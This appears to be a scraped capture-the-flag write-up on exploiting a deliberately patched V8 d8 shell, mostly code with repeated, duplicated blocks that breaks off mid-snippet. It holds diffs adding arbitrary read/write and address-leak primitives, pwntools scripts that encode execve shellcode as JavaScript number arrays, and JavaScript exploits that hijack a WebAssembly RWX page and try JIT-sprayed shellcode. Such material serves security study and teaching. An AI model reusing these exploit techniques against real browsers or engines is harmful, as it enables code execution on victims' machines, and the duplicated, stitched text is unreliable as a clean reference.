+  case Builtin::kArrayRun:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "run",
+                          Builtin::kArrayRun, 0, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.execve("/challenge/catflag", 0, 0)
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
bigint_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = int.from_bytes(chunk, 'little')
    bigint_array.append(f"{value}n")
 
js_array = "var shellcode = [\n    " + ",\n    ".join(bigint_array) + "\n];"
 
print("\nJavaScript BigInt 数组格式:")
print(js_array)
from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.execve("/challenge/catflag", 0, 0)
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
bigint_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = int.from_bytes(chunk, 'little')
    bigint_array.append(f"{value}n")
 
js_array = "var shellcode = [\n    " + ",\n    ".join(bigint_array) + "\n];"
 
print("\nJavaScript BigInt 数组格式:")
print(js_array)
var shellcode = [
    2608851925472796776n,
    7307011539825918209n,
    5210783956162667311n,
    7308335460934430648n,
    3589986723478130798n,
    5563462937334n
];
var shellcode = [
    2608851925472796776n,
    7307011539825918209n,
    5210783956162667311n,
    7308335460934430648n,
    3589986723478130798n,
    5563462937334n
];
function ToDoubleArray(raw) {
    let buf = new ArrayBuffer(raw.length * 8);
    let dataview = new DataView(buf);
 
    for (let i = 0; i < raw.length; ++i){
        dataview.setBigUint64(i * 8, raw[i], true);
    }
 
    const res = new Float64Array(buf);
    return Array.from(res);
}
function ToDoubleArray(raw) {
    let buf = new ArrayBuffer(raw.length * 8);
    let dataview = new DataView(buf);
 
    for (let i = 0; i < raw.length; ++i){
        dataview.setBigUint64(i * 8, raw[i], true);
    }
 
    const res = new Float64Array(buf);
    return Array.from(res);
}
from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.execve("/challenge/catflag", 0, 0)
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
import struct
 
double_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = struct.unpack('<Q', chunk)[0]
    double_val = struct.unpack('<d', chunk)[0]
    double_array.append(repr(double_val))
 
js_array = "var shellcode = [\n    " + ",\n    ".join(double_array) + "\n];"
 
print("\nJavaScript double 数组格式:")
print(js_array)
from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.execve("/challenge/catflag", 0, 0)
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
import struct
 
double_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = struct.unpack('<Q', chunk)[0]
    double_val = struct.unpack('<d', chunk)[0]
    double_array.append(repr(double_val))
 
js_array = "var shellcode = [\n    " + ",\n    ".join(double_array) + "\n];"
 
print("\nJavaScript double 数组格式:")
print(js_array)
➜  release git:(5a2307d0f2c) ✗ python3 shellcode.py 
Shellcode 长度: 46 字节
已填充 2 字节,总长度: 48 字节
 
JavaScript double 数组格式:
var shellcode = [
    2.820972645905851e-134,
    3.0758087950517603e+180,
    2.2354425876138794e+40,
    3.68572438550025e+180,
    1.054512194375715e-68,
    2.748715909248e-311
];
➜  release git:(5a2307d0f2c) ✗ python3 shellcode.py 
Shellcode 长度: 46 字节
已填充 2 字节,总长度: 48 字节
 
JavaScript double 数组格式:
var shellcode = [
    2.820972645905851e-134,
    3.0758087950517603e+180,
    2.2354425876138794e+40,
    3.68572438550025e+180,
    1.054512194375715e-68,
    2.748715909248e-311
];
// function ToDoubleArray(raw) {
//     let buf = new ArrayBuffer(raw.length * 8);
//     let dataview = new DataView(buf);
 
//     for (let i = 0; i < raw.length; ++i){
//         dataview.setBigUint64(i * 8, raw[i], true);
//     }
 
//     const res = new Float64Array(buf);
//     return Array.from(res);
// }
 
// var shellcode = [
//     2608851925472796776n,
//     7307011539825918209n,
//     5210783956162667311n,
//     7308335460934430648n,
//     3589986723478130798n,
//     5563462937334n
// ];
 
// shellcode = ToDoubleArray(shellcode);
// shellcode.run();
 
 
var shellcode = [
    2.820972645905851e-134,
    3.0758087950517603e+180,
    2.2354425876138794e+40,
    3.68572438550025e+180,
    1.054512194375715e-68,
    2.748715909248e-311
];
shellcode = shellcode;
shellcode.run();
// function ToDoubleArray(raw) {
//     let buf = new ArrayBuffer(raw.length * 8);
//     let dataview = new DataView(buf);
 
//     for (let i = 0; i < raw.length; ++i){
//         dataview.setBigUint64(i * 8, raw[i], true);
//     }
 
//     const res = new Float64Array(buf);
//     return Array.from(res);
// }
 
// var shellcode = [
//     2608851925472796776n,
//     7307011539825918209n,
//     5210783956162667311n,
//     7308335460934430648n,
//     3589986723478130798n,
//     5563462937334n
// ];
 
// shellcode = ToDoubleArray(shellcode);
// shellcode.run();
 
 
var shellcode = [
    2.820972645905851e-134,
    3.0758087950517603e+180,
    2.2354425876138794e+40,
    3.68572438550025e+180,
    1.054512194375715e-68,
    2.748715909248e-311
];
shellcode = shellcode;
shellcode.run();
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
➜  release git:(5a2307d0f2c) ✗ cat args.gn                                    
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release git:(5a2307d0f2c) ✗ cat args.gn                                    
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
autoninja -C out/release d8
autoninja -C out/release d8
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsNumber(*arg)) {
+    isolate->ThrowError("Argument should be a number");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  uint32_t result = *(uint32_t *)full_addr;
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsNumber(*arg)) {
+    isolate->ThrowError("Argument should be a number");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  uint32_t result = *(uint32_t *)full_addr;
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 2) {
+    isolate->ThrowError("Need exactly 2 arguments");
+    return;
+  }
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+    isolate->ThrowError("Arguments should be numbers");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  *(uint32_t *)full_addr = value;
+}
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 2) {
+    isolate->ThrowError("Need exactly 2 arguments");
+    return;
+  }
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+    isolate->ThrowError("Arguments should be numbers");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  *(uint32_t *)full_addr = value;
+}
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..6b31fe2c371 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {
  
 }  // namespace
  
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsNumber(*arg)) {
+    isolate->ThrowError("Argument should be a number");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  uint32_t result = *(uint32_t *)full_addr;
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 2) {
+    isolate->ThrowError("Need exactly 2 arguments");
+    return;
+  }
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+    isolate->ThrowError("Arguments should be numbers");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  *(uint32_t *)full_addr = value;
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "ArbRead32",
+                       FunctionTemplate::New(isolate, ArbRead32));
+  global_template->Set(isolate, "ArbWrite32",
+                       FunctionTemplate::New(isolate, ArbWrite32));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..476675a7150 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
   };
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
  
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<String> name,
                             ReportExceptions report_exceptions,
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..6b31fe2c371 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {
  
 }  // namespace
  
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsNumber(*arg)) {
+    isolate->ThrowError("Argument should be a number");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  uint32_t result = *(uint32_t *)full_addr;
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 2) {
+    isolate->ThrowError("Need exactly 2 arguments");
+    return;
+  }
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+    isolate->ThrowError("Arguments should be numbers");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  *(uint32_t *)full_addr = value;
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "ArbRead32",
+                       FunctionTemplate::New(isolate, ArbRead32));
+  global_template->Set(isolate, "ArbWrite32",
+                       FunctionTemplate::New(isolate, ArbWrite32));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..476675a7150 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
   };
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
  
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<String> name,
                             ReportExceptions report_exceptions,
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
 
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
function copy_shellcode_to_rwxpage(){
    let buf = new ArrayBuffer(0x20);
    let view = new DataView(buf);
    let backing_store_addr = GetAddressOf(view)-0x14;
    p(view);
    logg("backing_store_addr",backing_store_addr);
    let backing_store_lo = ArbRead32(backing_store_addr);
    let backing_store_hi = ArbRead32(backing_store_addr+0x4);
    var backing_store = BigInt(backing_store_hi) * 4294967296n + BigInt(backing_store_lo)
    logg("backing_store",backing_store);
 
    ArbWrite32(backing_store_addr,rwx_page_addr_lo);
    ArbWrite32(backing_store_addr+4,rwx_page_addr_hi);
      
    // 出现check
    for (let i = 0; i < shellcode.length; ++i){
        view.setBigUint64(i * 0x8, shellcode[i], true);
    }
}
 
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];
 
for(let i = 0; i< 10000; i++) shellcode();
 
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var instance = new WebAssembly.Instance(wasmModule, {});
var pwn = instance.exports.main;
 
var instance_addr = GetAddressOf(instance);
var trusted_data = ArbRead32(instance_addr+0xc);
var rwx_page_addr_lo = ArbRead32(trusted_data+0x30-1);
var rwx_page_addr_hi = ArbRead32(trusted_data+0x30-1+4);
var rwx_page_addr = BigInt(rwx_page_addr_hi) * 4294967296n + BigInt(rwx_page_addr_lo)
console.log(typeof rwx_page_addr_lo);
p(wasmCode)
p(instance)
 
logg("instance_addr",instance_addr);
logg("trusted_data",trusted_data);
logg("rwx_page_addr_lo",rwx_page_addr_lo);
logg("rwx_page_addr_hi",rwx_page_addr_hi);
logg("rwx_page_addr",rwx_page_addr);
 
copy_shellcode_to_rwxpage();
 
spin();
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
 
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
function copy_shellcode_to_rwxpage(){
    let buf = new ArrayBuffer(0x20);
    let view = new DataView(buf);
    let backing_store_addr = GetAddressOf(view)-0x14;
    p(view);
    logg("backing_store_addr",backing_store_addr);
    let backing_store_lo = ArbRead32(backing_store_addr);
    let backing_store_hi = ArbRead32(backing_store_addr+0x4);
    var backing_store = BigInt(backing_store_hi) * 4294967296n + BigInt(backing_store_lo)
    logg("backing_store",backing_store);
 
    ArbWrite32(backing_store_addr,rwx_page_addr_lo);
    ArbWrite32(backing_store_addr+4,rwx_page_addr_hi);
      
    // 出现check
    for (let i = 0; i < shellcode.length; ++i){
        view.setBigUint64(i * 0x8, shellcode[i], true);
    }
}
 
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];
 
for(let i = 0; i< 10000; i++) shellcode();
 
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var instance = new WebAssembly.Instance(wasmModule, {});
var pwn = instance.exports.main;
 
var instance_addr = GetAddressOf(instance);
var trusted_data = ArbRead32(instance_addr+0xc);
var rwx_page_addr_lo = ArbRead32(trusted_data+0x30-1);
var rwx_page_addr_hi = ArbRead32(trusted_data+0x30-1+4);
var rwx_page_addr = BigInt(rwx_page_addr_hi) * 4294967296n + BigInt(rwx_page_addr_lo)
console.log(typeof rwx_page_addr_lo);
p(wasmCode)
p(instance)
 
logg("instance_addr",instance_addr);
logg("trusted_data",trusted_data);
logg("rwx_page_addr_lo",rwx_page_addr_lo);
logg("rwx_page_addr_hi",rwx_page_addr_hi);
logg("rwx_page_addr",rwx_page_addr);
 
copy_shellcode_to_rwxpage();
 
spin();
const shellcode = () => {return [
    1.9553825422107533e-246,
    1.9560612558242147e-246,
    1.9995714719542577e-246,
    1.9533767332674093e-246,
    2.6348604765229606e-284
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
p(shellcode);
 
var shellcode_addr = GetAddressOf(shellcode);
const shellcode = () => {return [
    1.9553825422107533e-246,
    1.9560612558242147e-246,
    1.9995714719542577e-246,
    1.9533767332674093e-246,
    2.6348604765229606e-284
];}
 
